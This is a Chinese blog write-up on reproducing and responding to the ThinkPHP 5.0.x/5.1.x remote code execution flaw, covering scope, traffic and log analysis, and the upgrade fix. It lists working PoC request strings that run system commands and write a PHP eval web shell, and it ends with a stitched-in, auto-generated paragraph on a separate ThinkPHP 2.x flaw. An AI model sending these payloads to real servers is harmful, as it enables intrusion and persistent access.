Think PHP 5 RCE漏洞复现及排查

目录

一、概述

二、影响范围

三、漏洞复现

 四、应急响应

五、漏洞修复


一、概述

ThinkPHP是一款运用极广的PHP开发框架。其漏洞点是由于ThinkPHP框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

二、影响范围

受影响的版本:ThinkPHP 5.0.x和ThinkPHP 5.1.x

三、漏洞复现

1、收集的一些POC(根据版本不同,有些poc不能利用)


5.0.x 版本:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容用URL编码

5.1版本:
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
?s=index/\think\template\driver\file/write
&cacheFile=aaa.php&content=<?php @eval($_POST['cmd']);?>

2、实操部分(笔者的环境是ThinkPHP 5.0.20)

 四、应急响应

1、从流量侧分析

如果有记录流量的工具的话,分析整个漏洞攻击流程还是很简单的。在数据包中,清晰的记录了整个攻击流程:

 某种意义上来说针对此类漏洞,流量侧看还是很直观的。

2、日志侧分析

因为笔者环境问题,所以web类日志记录的不是很全面,但总体来说针对此类漏洞,从日志看也是很明朗的:时间、IP、URL、状态码、包大小、请求方法等。

 注:此类日志只是针对web应用层,当攻击者进行提权或者反弹shell后的操作这里是不会记录的。

五、漏洞修复

将版本升级到最新版本,关闭debug功能及开启强制路由

ThinkPHP 2.x版本中存在远程代码执行(RCE漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说,漏洞出现在ThinkPHP框架中的路由处理函数中,使用了不安全的preg_replace函数,并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞,建议升级到最新版本的ThinkPHP框架,或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数,并且避免使用/e模式进行正则表达式匹配。此外,还应该对用户输入进行严格的过滤和验证,以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值